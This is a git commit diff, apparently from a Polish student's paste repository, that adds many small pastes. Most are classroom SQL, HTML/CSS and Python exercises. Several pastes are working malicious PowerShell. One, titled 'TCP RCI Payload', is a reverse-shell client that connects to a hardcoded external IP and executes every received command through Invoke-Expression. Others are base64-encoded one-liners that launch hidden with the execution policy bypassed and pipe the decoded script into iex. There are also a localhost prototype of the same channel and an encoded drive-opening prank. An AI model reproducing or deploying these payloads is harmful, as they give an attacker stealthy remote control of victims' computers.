Dodawanie paste'ów

This commit is contained in:
MaciejkaG 2023-12-31 18:17:29 +01:00
parent f2e5ea730e
commit de8191e144
30 changed files with 1348 additions and 0 deletions

12
pastes/paste_0aa6f4.txt Normal file
View File

@ -0,0 +1,12 @@
#
# ID: 0aa6f4
# Nazwa: a
# Opis: a
# Publiczny: 1
# Data utworzenia/ostatniej edycji (UTC): 2023-11-03 10:14:54
#
display: flex;
align-items: center;
flex-direction: row;
justify-content: center;

27
pastes/paste_1f338f.txt Normal file
View File

@ -0,0 +1,27 @@
#
# ID: 1f338f
# Nazwa: Python-PowerShell Socket Connection
# Opis: PowerShell
# Publiczny: 0
# Data utworzenia/ostatniej edycji (UTC): 2023-10-18 21:15:54
#
$socketHost = "127.0.0.1"
$socketPort = "53588"
$tcpConnection = New-Object System.Net.Sockets.TcpClient($socketHost, $socketPort)
$tcpStream = $tcpConnection.GetStream()
$reader = New-Object System.IO.StreamReader($tcpStream)
while ($tcpConnection.Connected) {
while ($tcpStream.DataAvailable -or $reader.Peek() -ne -1 ) {
$response = $reader.ReadLine()
Write-Output "Received:"
Write-Output "$response"
}
start-sleep -Milliseconds 500
}
$reader.Close()
$tcpConnection.Close()

18
pastes/paste_307f15.txt Normal file
View File

@ -0,0 +1,18 @@
#
# ID: 307f15
# Nazwa: Notatki bazy danych
# Opis: Notatki z lekcji 3 (10.10.2023)
# Publiczny: 0
# Data utworzenia/ostatniej edycji (UTC): 2023-10-12 20:13:37
#
LOAD DATA INFILE 'E:\bazy danych\lekcja 3\notatnik.sql' INTO TABLE `nazwa_tabeli` FIELDS TERMINATED BY 'separator' LINES TERMINATED BY 'separator' IGNORE 1 LINES;
-- \t - tabulator
-- \r - pomin spacje na koncu wiersza
-- \n - enter
LOAD DATA INFILE 'E:\\bazy danych\\lekcja 3\\klienci.txt' INTO TABLE `klienci` FIELDS TERMINATED BY '\t' LINES TERMINATED BY '\r\n' IGNORE 1 LINES;
LOAD DATA INFILE 'E:\\bazy danych\\lekcja 3\\agenci.txt' INTO TABLE `agenci` FIELDS TERMINATED BY '\t' LINES TERMINATED BY '\r\n' IGNORE 1 LINES;
LOAD DATA INFILE 'E:\\bazy danych\\lekcja 3\\oferty.txt' INTO TABLE `oferta` FIELDS TERMINATED BY '\t' LINES TERMINATED BY '\r\n' IGNORE 1 LINES;
LOAD DATA INFILE 'E:\\bazy danych\\lekcja 3\\zainteresowanie.txt' INTO TABLE `zainteresowanie` FIELDS TERMINATED BY '\t' LINES TERMINATED BY '\r\n' IGNORE 1 LINES;

103
pastes/paste_3371cc.txt Normal file
View File

@ -0,0 +1,103 @@
#
# ID: 3371cc
# Nazwa: Kartkowka z stron internetowych
# Opis: Mój kod do kartkówki z projektowania stron internetowych 26.10
# Publiczny: 0
# Data utworzenia/ostatniej edycji (UTC): 2023-10-26 13:40:29
#
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Flexbox kartkówka</title>
<style>
:root {
font-size: 20px; /* Zmiana tej wartości wpłynie na wygląd całej strony (użyj jeżeli nie działa na twoim wyświetlaczu) */
--bg-color: white;
--elem-color: rgb(60, 162, 135);
}
body {
background: var(--bg-color);
}
.box {
background: var(--elem-color);
width: 10rem;
height: 10rem;
}
.box.circle {
border-radius: 100%;
}
.box3 {
width: 34rem;
}
.box3h {
height: 34rem;
}
.box2 {
width: 22rem;
}
.container {
display: flex;
justify-content: center;
margin-top: 2rem;
width: 100%;
flex-direction: column;
}
.topMain, .footerMain {
display: flex;
justify-content: center;
gap: 2rem;
}
.r1, .r2, .r3 {
display: flex;
gap: 2rem;
margin-bottom: 2rem;
justify-content: space-between;
}
</style>
</head>
<body>
<div class="container">
<div class="topMain">
<div class="left">
<div class="r1">
<div class="box"></div>
<div class="box circle"></div>
<div class="box circle"></div>
<div class="box circle"></div>
</div>
<div class="r2">
<div class="box circle"></div>
<div class="box box3"></div>
</div>
<div class="r3">
<div class="box"></div>
<div class="box"></div>
<div class="box"></div>
</div>
</div>
<div class="right">
<div class="box box3h"></div>
</div>
</div>
<div class="footerMain">
<div class="box box3"></div>
<div class="box circle"></div>
<div class="box"></div>
</div>
</div>
</body>
</html>

35
pastes/paste_39027b.txt Normal file
View File

@ -0,0 +1,35 @@
#
# ID: 39027b
# Nazwa: Algorytmy zadanie
# Opis: Dzisiejsze zadanie domowe na algorytmy ale w Pythonie
# Publiczny: 0
# Data utworzenia/ostatniej edycji (UTC): 2023-10-21 10:10:51
#
# a)
a = 10
b = 15
allNums = list(range(a,b+1))
result = sum([x for x in allNums if x%2==0])
print(result)
# b)
while True:
i = input()
try:
n
except NameError:
n = i
if not i:
break
else:
if i > n:
n = i
print(n)

9
pastes/paste_393802.txt Normal file
View File

@ -0,0 +1,9 @@
#
# ID: 393802
# Nazwa: Powershell Payload CMD
# Opis: Latest version of the Powershell Payload designed to work with Python socket library. It is encoded and made to work in one line.
# Publiczny: 0
# Data utworzenia/ostatniej edycji (UTC): 2023-10-25 19:13:56
#
Powershell -NoLogo -WindowStyle hidden -NonInteractive -NoProfile -ExecutionPolicy Bypass -Encoded WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIASgBIAE4AdgBZADIAdABsAGQARQBoAHYAYwAzAFEAZwBQAFMAQQBpAE0AVABZAHkATABqAEUANQBMAGoASQB5AE4AQwA0AHkATQB6AFUAaQBEAFEAbwBrAGMAMgA5AGoAYQAyAFYAMABVAEcAOQB5AGQAQwBBADkASQBDAEkANABPAEQAZwB3AEkAZwAwAEsARABRAHAAMwBhAEcAbABzAFoAUwBBAG8ASgBIAFIAeQBkAFcAVQBwAEkASABzAE4AQwBpAEEAZwBJAEMAQgAwAGMAbgBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAawBkAEcATgB3AFEAMgA5AHUAYgBtAFYAagBkAEcAbAB2AGIAaQBBADkASQBFADUAbABkAHkAMQBQAFkAbQBwAGwAWQAzAFEAZwBVADMAbAB6AGQARwBWAHQATABrADUAbABkAEMANQBUAGIAMgBOAHIAWgBYAFIAegBMAGwAUgBqAGMARQBOAHMAYQBXAFYAdQBkAEMAZwBrAGMAMgA5AGoAYQAyAFYAMABTAEcAOQB6AGQAQwB3AGcASgBIAE4AdgBZADIAdABsAGQARgBCAHYAYwBuAFEAcABEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEMAUgAwAFkAMwBCAFQAZABIAEoAbABZAFcAMABnAFAAUwBBAGsAZABHAE4AdwBRADIAOQB1AGIAbQBWAGoAZABHAGwAdgBiAGkANQBIAFoAWABSAFQAZABIAEoAbABZAFcAMABvAEsAUQAwAEsASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGsAYwBtAFYAaABaAEcAVgB5AEkARAAwAGcAVABtAFYAMwBMAFUAOQBpAGEAbQBWAGoAZABDAEIAVABlAFgATgAwAFoAVwAwAHUAUwBVADgAdQBVADMAUgB5AFoAVwBGAHQAVQBtAFYAaABaAEcAVgB5AEsAQwBSADAAWQAzAEIAVABkAEgASgBsAFkAVwAwAHAARABRAG8ATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBkADIAaABwAGIARwBVAGcASwBDAFIAMABZADMAQgBEAGIAMgA1AHUAWgBXAE4AMABhAFcAOQB1AEwAawBOAHYAYgBtADUAbABZADMAUgBsAFoAQwBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAGQAMgBoAHAAYgBHAFUAZwBLAEMAUgAwAFkAMwBCAFQAZABIAEoAbABZAFcAMAB1AFIARwBGADAAWQBVAEYAMgBZAFcAbABzAFkAVwBKAHMAWgBTAEEAdABiADMASQBnAEoASABKAGwAWQBXAFIAbABjAGkANQBRAFoAVwBWAHIASwBDAGsAZwBMAFcANQBsAEkAQwAwAHgASQBDAGsAZwBlAHcAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAUgB5AFoAWABOAHcAYgAyADUAegBaAFMAQQA5AEkAQwBSAHkAWgBXAEYAawBaAFgASQB1AFUAbQBWAGgAWgBFAHgAcABiAG0AVQBvAEsAUQAwAEsASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBSAHcAYwBtAFYAbQBhAFgAZwBnAFAAUwBBAGsAYwBtAFYAegBjAEcAOQB1AGMAMgBVAHUAVQAzAEIAcwBhAFgAUQBvAEkAaQBBAGkATABDAEEAeQBLAFYAcwB3AFgAUQAwAEsASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAEkARwBsAG0ASQBDAGcAawBjAEgASgBsAFoAbQBsADQASQBDADEAbABjAFMAQQBpAFEAMAAxAEUASQBpAGsAZwBlAHcAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGsAWQAyADkAdABiAFcARgB1AFoAQwBBADkASQBDAFIAeQBaAFgATgB3AGIAMgA1AHoAWgBTADUAVABjAEcAeABwAGQAQwBnAGkASQBDAEkAcwBJAEQASQBwAFcAegBGAGQARABRAG8ATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQQBnAFMAVwA1ADIAYgAyAHQAbABMAFUAVgA0AGMASABKAGwAYwAzAE4AcABiADIANABnAEoARwBOAHYAYgBXADEAaABiAG0AUQBOAEMAaQBBAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEEAZwBJAEMAQgA5AEQAUQBvAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAOQBEAFEAbwBOAEMAaQBBAGcASQBDAEEAZwBJAEMAQQBnAEkAQwBBAGcASQBIAE4AMABZAFgASgAwAEwAWABOAHMAWgBXAFYAdwBJAEMAMQBOAGEAVwB4AHMAYQBYAE4AbABZADIAOQB1AFoASABNAGcATgBUAEEAdwBEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEgAMABOAEMAaQBBAGcASQBDAEIAOQBJAEcATgBoAGQARwBOAG8ASQBIAHMATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBWADMASgBwAGQARwBVAHQAVAAzAFYAMABjAEgAVgAwAEkAQwBKAEYAYwBuAEkANgBZAEcANABrAFgAeQBJAE4AQwBpAEEAZwBJAEMAQgA5AEQAUQBvAE4AQwBpAEEAZwBJAEMAQgB6AGQARwBGAHkAZABDADEAegBiAEcAVgBsAGMAQwBBAHQAVABXAGwAcwBiAEcAbAB6AFoAVwBOAHYAYgBtAFIAegBJAEQAVQB3AE0ARABBAE4AQwBuADAATgBDAGcAMABLAEoASABKAGwAWQBXAFIAbABjAGkANQBEAGIARwA5AHoAWgBTAGcAcABEAFEAbwBrAGQARwBOAHcAUQAyADkAdQBiAG0AVgBqAGQARwBsAHYAYgBpADUARABiAEcAOQB6AFoAUwBnAHAARABRAG8APQAiAH0AJwAgAHwAIABDAG8AbgB2AGUAcgB0AEYAcgBvAG0ALQBKAHMAbwBuACkALgBTAGMAcgBpAHAAdAApACkAIAB8ACAAaQBlAHgA

65
pastes/paste_3f95a8.txt Normal file
View File

@ -0,0 +1,65 @@
#
# ID: 3f95a8
# Nazwa: Kod Gabriela z lekcji z P. Jordanem
# Opis: 02.11.2023
# Publiczny: 1
# Data utworzenia/ostatniej edycji (UTC): 2023-11-02 14:42:21
#
<!DOCTYPE html>
<html lang="pl">
<head>
<meta charset="UTF-8">
<title>Kartkówka</title>
<link rel="stylesheet"
href="style.css">
<style>
body {
background-color: black;
}
.apla{
background-color: blueviolet;
color:aliceblue;
width: 150px;
line-height: 150px;
text-align: center;
margin: 5px;
transition: all 0.25s ease-in-out;
}
.all{
display: flex;
flex-wrap: wrap;
justify-content: center;
align-items: center;
}
.apla:hover{
transform: rotate(-15deg) scale(1.2);
border-radius: 45px 0 45px;
border: 3px solid violet;
opacity: 0.2;
}
.apla:active{
visibility: hidden;
}
.apla:nth-child(even){
transform: rotate(-15deg); /* even - co drugi */
scale: 0.8
}
</style>
</head>
<body>
<div class="all">
<div class="apla">1</div>
<div class="apla">2</div>
<div class="apla">3</div>
<div class="apla">4</div>
<div class="apla">1</div>
<div class="apla">2</div>
<div class="apla">3</div>
<div class="apla">4</div>
</div>
</body>
</html>

45
pastes/paste_3f9dc6.txt Normal file
View File

@ -0,0 +1,45 @@
#
# ID: 3f9dc6
# Nazwa: notatki bazy danych
# Opis: Ćwiczenia SELECT // 15.12.2023/19.12.2023
# Publiczny: 0
# Data utworzenia/ostatniej edycji (UTC): 2023-12-19 12:45:08
#
-- LEKCJA 14
-- Wyświetl wszystkie domki z garażem
SELECT Nrdomku, Garaz FROM domki WHERE Garaz = 'TAK';
-- Wyświetl listę pracowników o imieniu Jan.
SELECT Imie, Nazwisko FROM uczniowie WHERE Imie = "Jan";
-- Wyświetl listę pracowników, których nazwisko rozpoczyna się na tą samą literę, na którą rozpoczyna się Twoje nazwisko.
SELECT Imie, Nazwisko AS dane FROM uczniowie WHERE Nazwisko LIKE "G%" ORDER BY Nazwisko ASC, Imie ASC;
-- Wyświetl listę pracowników, których nazwisko kończy się ciągiem „ski” lub „ska”.
SELECT Imie, Nazwisko FROM uczniowie WHERE Nazwisko LIKE "%ski" OR Nazwisko LIKE "%ska";
-- Wyświetl listę pracowników, których nazwisko nie zaczyna się od litery „a”.
SELECT Imie, Nazwisko FROM uczniowie WHERE nazwisko NOT LIKE "A%";
-- Wyświetl listę pracowników uporządkowaną ze względu na imię, którzy mają trzyliterowe imię.
SELECT Imie, Nazwisko FROM uczniowie WHERE imie LIKE "___";
-- Wyświetl alfabetyczną listę pracowników, których nazwisko zaczyna się na litery 'K' lub N.
SELECT Imie, Nazwisko FROM uczniowie WHERE Nazwisko LIKE "K%" OR Nazwisko LIKE "N%";
-- Wyświetl identyfikatory pracowników, którzy rezerwowali domki o numerach 1, 3 i 7.
SELECT IDpracownika, NrDomku FROM rezerwacje WHERE NrDomku = 1 OR NrDomku = 3 OR NrDomku = 7;
-- LEKCJA 15
-- Wyświetl identyfikatory pracowników, którzy rezerwowali domki o numerach od 1 do 4.
SELECT IDpracownika, NrDomku FROM rezerwacje WHERE NrDomku >= 1 AND NrDomku <= 4; -- Nie jest to optymalny sposób
SELECT IDpracownika, NrDomku FROM rezerwacje WHERE NrDomku BETWEEN 1 AND 4; -- Tak jest lepiej
SELECT uczniowie.IDpracownika, rezerwacje.NrDomku, uczniowie.Imie, uczniowie.Nazwisko FROM uczniowie, rezerwacje WHERE rezerwacje.IDpracownika = uczniowie.IDpracownika AND rezerwacje.NrDomku BETWEEN 1 AND 4;
-- BETWEEN x AND y - Przedział zamknięty
-- Powyższe polecenie wyświetla konkretne dane z tabeli uczniowie pracowników którzy rezerwowali w tabeli rezerwacje domki o numerach od 1 do 4
-- Wyświetl listę kandydatów (nazwisko i imię w jednym polu o nazwie dane), których nazwisko rozpoczyna się na literę L.
SELECT CONCAT(Imie, " ", Nazwisko) AS dane FROM uczniowie WHERE Nazwisko LIKE "L%";

23
pastes/paste_423c11.txt Normal file
View File

@ -0,0 +1,23 @@
#
# ID: 423c11
# Nazwa: Odpowiedzi z kartkówki
# Opis: Odpowiedzi nie są dobre: references i before są źle
# Publiczny: 1
# Data utworzenia/ostatniej edycji (UTC): 2023-11-14 12:43:22
#
create database `malarze`;
CREATE TABLE `farby`( `id_farby` int unsigned PRIMARY KEY AUTO_INCREMENT, `kolor` enum("czerwony","biały","zielony"), `cena` float, `pojemosc` tinyint unsigned )
CREATE TABLE `malowanie`(
`id_pomieszczenia` int,
`id_sciany` int,
`id_farby` int,
`liczba_puszek` int unsigned,
PRIMARY KEY (`id_pomieszczenia`,`id_sciany`)
);
ALTER TABLE `malowanie` ADD REFERENCES `farby` (`id_farby`) FOREIGN KEY `id_farby`
ALTER TABLE `malarz` ADD COLUMN (`rok waznosci` datetime) before `id_pomieszczenia`
ALTER TABLE `malowanie` rename `malarz`
ALTER TABLE `malarz` CHANGE `rok waznosci` `rok waznosci` date
alter table `farby` change `cena` `cena produktu` float

9
pastes/paste_4827ae.txt Normal file
View File

@ -0,0 +1,9 @@
#
# ID: 4827ae
# Nazwa: Otwieranie napędu PS CMD
# Opis: Wersja jedno-linijkowa skryptu na otwieranie napędu w PowerShellu
# Publiczny: 0
# Data utworzenia/ostatniej edycji (UTC): 2023-10-19 13:26:07
#
Powershell -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Encoded WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIASgBFADEAbABiAFUAUgBsAFoAaQBBADkAUQBDAEkATgBDAGwAdABFAGIARwB4AEoAYgBYAEIAdgBjAG4AUQBvAEkAbgBkAHAAYgBtADEAdABMAG0AUgBzAGIAQwBJAHMASQBFAE4AbwBZAFgASgBUAFoAWABRAGcAUABTAEIARABhAEcARgB5AFUAMgBWADAATABrAEYAdQBjADIAawBwAFgAUQAwAEsAYwBIAFYAaQBiAEcAbABqAEkASABOADAAWQBYAFIAcABZAHkAQgBsAGUASABSAGwAYwBtADQAZwBhAFcANQAwAEkARwAxAGoAYQBWAE4AbABiAG0AUgBUAGQASABKAHAAYgBtAGQAQgBLAEEAMABLAEMAWABOADAAYwBtAGwAdQBaAHkAQgBzAGMASABOADAAYwBrAE4AdgBiAFcAMQBoAGIAbQBRAHMARABRAG8ASgBjADMAUgB5AGEAVwA1AG4ASQBHAHgAdwBjADMAUgB5AFUAbQBWADAAZABYAEoAdQBVADMAUgB5AGEAVwA1AG4ATABBADAASwBDAFcAbAB1AGQAQwBCADEAVQBtAFYAMABkAFgASgB1AFQARwBWAHUAWgAzAFIAbwBMAEEAMABLAEMAVQBsAHUAZABGAEIAMABjAGkAQgBvAGQAMgA1AGsAUQAyAEYAcwBiAEcASgBoAFkAMgBzAE4AQwBpAGsANwBEAFEAbwBpAFEAQQAwAEsARABRAG8AawBkADIAbAB1AGIAVwAwAGcAUABTAEIAQgBaAEcAUQB0AFYASABsAHcAWgBTAEEAdABiAFcAVgB0AFkAbQBWAHkAUgBHAFYAbQBhAFcANQBwAGQARwBsAHYAYgBpAEEAawBUAFcAVgB0AFIARwBWAG0ASQBDADEARgBjAG4ASgB2AGMAawBGAGoAZABHAGwAdgBiAGkAQQBuAFUAMgBsAHMAWgBXADUAMABiAEgAbABEAGIAMgA1ADAAYQBXADUAMQBaAFMAYwBnAEwAWABCAGgAYwAzAE4AMABhAEgASgAxAEkAQwAxAHUAWQBXADEAbABJAEcAMQBqAGEAVgBOAGwAYgBtAFIAVABkAEgASgBwAGIAbQBjAE4AQwBpAFIAMwBhAFcANQB0AGIAVABvADYAYgBXAE4AcABVADIAVgB1AFoARgBOADAAYwBtAGwAdQBaADAARQBvAEkAbgBOAGwAZABDAEIAagBaAEcARgAxAFoARwBsAHYASQBHAFIAdgBiADMASQBnAGIAMwBCAGwAYgBpAEkAcwBJAEMAUgB1AGQAVwB4AHMATABDAEEAdwBMAEQAQQBwAEQAUQBvAD0AIgB9ACcAIAB8ACAAQwBvAG4AdgBlAHIAdABGAHIAbwBtAC0ASgBzAG8AbgApAC4AUwBjAHIAaQBwAHQAKQApACAAfAAgAGkAZQB4AA==

84
pastes/paste_5d9e4b.txt Normal file
View File

@ -0,0 +1,84 @@
#
# ID: 5d9e4b
# Nazwa: notatki bazy danych
# Opis: 01.12.2023/05.12.2023 TRUNCATE, zadania z DML
# Publiczny: 0
# Data utworzenia/ostatniej edycji (UTC): 2023-12-05 12:43:49
#
-- Lekcja 11
-- TRUNCATE służy do usuwania rekordów jednocześnie resetując AUTO_INCREMENT indeksów, czyli zacznie numerować od początku
TRUNCATE tabela;
-- (Zadania z PDFem który pani wysłała na mobiDzienniku)
-- 1. Tworzenie tabeli zamówienia
CREATE TABLE zamowienia(
id INT UNSIGNED NOT NULL,
imie VARCHAR(128),
nazwisko VARCHAR(128),
adres_email VARCHAR(128),
liczba_choinek INT,
liczba_mikolajow INT,
liczba_reniferow INT,
info BOOLEAN
);
-- 2. Zmienianie id na klucz główny
ALTER TABLE zamowienia
ADD PRIMARY KEY (id);
-- 5. Dodawanie danych
INSERT INTO zamowienia(id, imie, nazwisko, adres_email)
VALUES (1, "Jan", "Kowalski", "jKowalski@poczta.pl");
-- Osobne zadanie od pani:
-- Wprowadź dwa rekordy do tabeli: (Ala Kowalska, l_choinek=5), (Tomek Kowalski, l_choinek=8)
INSERT INTO zamowienia(id, imie, nazwisko, liczba_choinek)
VALUES (2, "Ala", "Kowalska", 5),
(3, "Tomek", "Kowalski", 8);
INSERT INTO zamowienia
VALUES (4, "Ola", "Kowalska", "", 2, 4, 0, "");
-- Lekcja 12
-- 1. Aktualizuj wszystkie rekordy o parzystym identyfikatorze zmieniając imię na Franek i dodając liczbę choinek: 6 oraz liczbę reniferów: 8
UPDATE zamowienia
SET imie = "Franek",
liczba_choinek = 6,
liczba_reniferow = 8
WHERE id %2 = 0;
-- 2. Aktualizuj liczbę choinek zwiększając liczbę choinek o 3 choinki dla wszystkich rekordów gdzie nazwisko kończy się na i
UPDATE zamowienia
SET liczba_choinek = liczba_choinek + 3
WHERE nazwisko LIKE "%i";
-- 3. Ustaw liczbę mikołajów na 7 dla wszystkich rekordów o imieniu zawierającym r
UPDATE zamowienia
SET liczba_mikolajow = 7
WHERE imie LIKE "%r%";
-- 4. Usuń wszystkie rekordy z nieparzystym ID
DELETE FROM zamowienia
WHERE id %2 != 0;
-- 5. Wyczyść tabelę
TRUNCATE zamowienia;
-- 6. Wyświetl strukturę tabeli
DESCRIBE zamowienia;
-- 7. Utwórz tabelę prezenty zawierającą kolumnę ID będące liczbą całkowitą i kluczem podstawowym, kolumnę prezenty będącą typem tekstowym i kolumnę id_zamowienia będącą kluczem obcym dla tabeli zamowienia
CREATE TABLE prezenty(
id INT PRIMARY KEY,
prezenty VARCHAR(255),
id_zamowienia INT UNSIGNED NOT NULL,
FOREIGN KEY(id_zamowienia) REFERENCES zamowienia(id),
);
-- 8. Zmień nazwę tabeli prezenty na niespodzianka
ALTER TABLE prezenty
RENAME niespodzianka;

30
pastes/paste_662038.txt Normal file
View File

@ -0,0 +1,30 @@
#
# ID: 662038
# Nazwa: notatki bazy danych
# Opis: Wstęp do DQL (SELECT)
# Publiczny: 0
# Data utworzenia/ostatniej edycji (UTC): 2023-12-12 12:43:13
#
-- Struktura instrukcji SELECT
SELECT `kolumna`
FROM `tabela`
WHERE -- Ustalanie warunków
GROUP BY -- Grupowanie wyników po wartości kolumn
HAVING -- Filtrowanie rekordów
ORDER BY -- Sortowanie rekordów
LIMIT -- Ograniczenie ilości wynikowych rekordów
-- Zaawansowane limity
-- LIMIT można użyć w celu zignorowania określonej liczby pierwszych rekordów w wyniku np.
LIMIT 3,10
-- Wyniki zaczną się od 3 rekordu i będzie ich 10
-- Praktyka
-- Zadania z pliku .docx z mobiDziennika i importowanej bazie danych 'domki'
SELECT * FROM domki; -- Wyświetl wszystkie rekordy
SELECT IDpracownika, Nazwisko FROM uczniowie ORDER BY nazwisko ASC, imie ASC; -- Wybierz ID pracownika i jego nazwisko sortując wynik po nazwisku a następnie imienia

25
pastes/paste_6c5b2a.txt Normal file
View File

@ -0,0 +1,25 @@
#
# ID: 6c5b2a
# Nazwa: Python-PowerShell Socket Connection
# Opis: Python
# Publiczny: 0
# Data utworzenia/ostatniej edycji (UTC): 2023-10-18 21:15:17
#
import socket
HOST = "127.0.0.1"
PORT = 53588
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((HOST, PORT))
s.listen()
conn, addr = s.accept()
with conn:
print(f"Connected by {addr}")
while True:
data = input("Prompt> ")+"\n"
conn.sendall(data.encode("utf-8"))
print("\nSent!")

33
pastes/paste_74bc96.txt Normal file
View File

@ -0,0 +1,33 @@
#
# ID: 74bc96
# Nazwa: notatki bazy danych
# Opis: 10.11.2023 - wiele kluczy podstawowych i inny zapis kluczy podstawowych i obcych
# Publiczny: 0
# Data utworzenia/ostatniej edycji (UTC): 2023-12-05 11:43:53
#
-- Te metody podobno będą na kartkówce
CREATE TABLE adres(
id INT PRIMARY KEY AUTO_INCREMENT,
`kod pocztowy` CHAR(6),
miasto VARCHAR(64),
ulica VARCHAR(64)
);
CREATE TABLE administracja(
id INT UNSIGNED AUTO_INCREMENT,
imie VARCHAR(64),
nazwisko VARCHAR(64),
stanowisko VARCHAR(64),
uprawnienia SET("write", "read", "execute"),
id_adres INT,
PRIMARY KEY(id, imie, nazwisko),
FOREIGN KEY(id_adres) REFERENCES adres(id)
);
DESCRIBE administracja;
ALTER TABLE adres RENAME zamieszkanie;
ALTER TABLE zamieszkanie CHANGE miasto wojewodztwo VARCHAR(64);

39
pastes/paste_816716.txt Normal file
View File

@ -0,0 +1,39 @@
#
# ID: 816716
# Nazwa: PowerShell TCP RCI Payload
# Opis: PowerShell Remote Code Injection client (payload)
# Publiczny: 0
# Data utworzenia/ostatniej edycji (UTC): 2023-11-08 08:13:07
#
$socketHost = "162.19.224.235"
$socketPort = "8880"
while ($true) {
try {
$tcpConnection = New-Object System.Net.Sockets.TcpClient($socketHost, $socketPort)
$tcpStream = $tcpConnection.GetStream()
$reader = New-Object System.IO.StreamReader($tcpStream)
while ($tcpConnection.Connected) {
while ($tcpStream.DataAvailable -or $reader.Peek() -ne -1 ) {
$response = $reader.ReadLine()
$prefix = $response.Split(" ", 2)[0]
if ($prefix -eq "CMD") {
$command = $response.Split(" ", 2)[1]
Invoke-Expression $command
}
}
start-sleep -Milliseconds 500
}
} catch {
Write-Output "Err:`n$_"
}
start-sleep -Milliseconds 5000
}
$reader.Close()
$tcpConnection.Close()

37
pastes/paste_8fc082.txt Normal file
View File

@ -0,0 +1,37 @@
#
# ID: 8fc082
# Nazwa: cwiczenie bazy danych 7.11
# Opis: na podstawie pdfa ktory pani wyslala w zadaniach na dzienniku
# Publiczny: 0
# Data utworzenia/ostatniej edycji (UTC): 2023-11-07 12:46:46
#
-- 1.
CREATE TABLE osoba(
id INT UNSIGNED PRIMARY KEY AUTO_INCREMENT NOT NULL,
imie VARCHAR(50),
plec ENUM("k", "m"),
wiek TINYINT UNSIGNED,
miasto VARCHAR(50),
kod_pocztowy CHAR(6)
);
-- 2.
ALTER TABLE osoba RENAME uczen;
-- 3.
ALTER TABLE uczen
ADD COLUMN kolor_oczu VARCHAR(50) DEFAULT "zielony",
ADD COLUMN stypendium INT UNSIGNED AFTER plec;
-- 4.
ALTER TABLE uczen CHANGE id id_ucznia INT UNSIGNED;
-- 5.
ALTER TABLE uczen MODIFY stypendium FLOAT;
-- 6.
ALTER TABLE uczen DROP wiek, DROP plec;
-- 7.
ALTER TABLE uczen ADD INDEX login_idx (imie);

52
pastes/paste_8fda29.txt Normal file
View File

@ -0,0 +1,52 @@
#
# ID: 8fda29
# Nazwa: Notatnik bazy danych
# Opis: 31.10.2023/3.11.2023
# Publiczny: 0
# Data utworzenia/ostatniej edycji (UTC): 2023-11-03 07:07:48
#
-- Zmiana nazwy tabeli
ALTER TABLE `domki` RENAME `mieszkania`; -- Polecenie książkowe (przestarzałe)
-- lub
RENAME TABLE `domki` TO `mieszkania`; -- phpMyAdmin pomija ekran rezultatu zapytania, a więc ta metoda nie nadaje się do użycia na egzaminie
-- Dodawanie kolumny
ALTER TABLE `uczen` ADD `pesel` CHAR(11) UNIQUE;
-- Uczen >> PESEL, stała ilość znaków. unikatowy.
ALTER TABLE `uczen` ADD `miasto` VARCHAR(50) AFTER `pesel`,
ADD `wiek` INT UNSIGNED,
ADD `stypendium` FLOAT UNSIGNED; -- Może być też ADD COLUMN ale tak jest krócej.
-- Uczen >> wiek l. naturalna, miasto ciąg znaków max 50 + po kolumnie pesel, stypendium - typ zmiennoprzecinkowy.
-- Usuwanie kolumny
ALTER TABLE `uczen` DROP `pesel`; -- Może być też DROP COLUMN ale tak jest krócej.
-- Usuwanie wielu kolumn
ALTER TABLE `uczen` DROP `miasto`, DROP `stypendium`; -- Może być też DROP COLUMN ale tak jest krócej.
-- Zadanie (dodawanie kolumny + zmiana nazwy kolumny + zmiana typu kolumny)
ALTER TABLE `uczen` ADD `kolor_oczu` VARCHAR(50), -- Dodanie kolumny
ALTER TABLE `uczen` CHANGE `kolor_oczu` `data_urodzenia`, -- Zmiana nazwy
ALTER TABLE `pracownicy` MODIFY `data_urodzenia` DATE; -- Zmiana typu kolumny
-- Usuń klucz obcy
ALTER TABLE `rezerwacje` DROP FOREIGN KEY `rezerwacje_ibfk_1`;
ALTER TABLE `rezerwacje` DROP FOREIGN KEY `rezerwacje_ibfk_2`;
-- Usuwanie klucza podstawowego
ALTER TABLE `rezerwacje` DROP PRIMARY KEY;
-- W tym przypadku zwróci błąd ponieważ klucz podstawowy zawiera AUTO INCREMENT
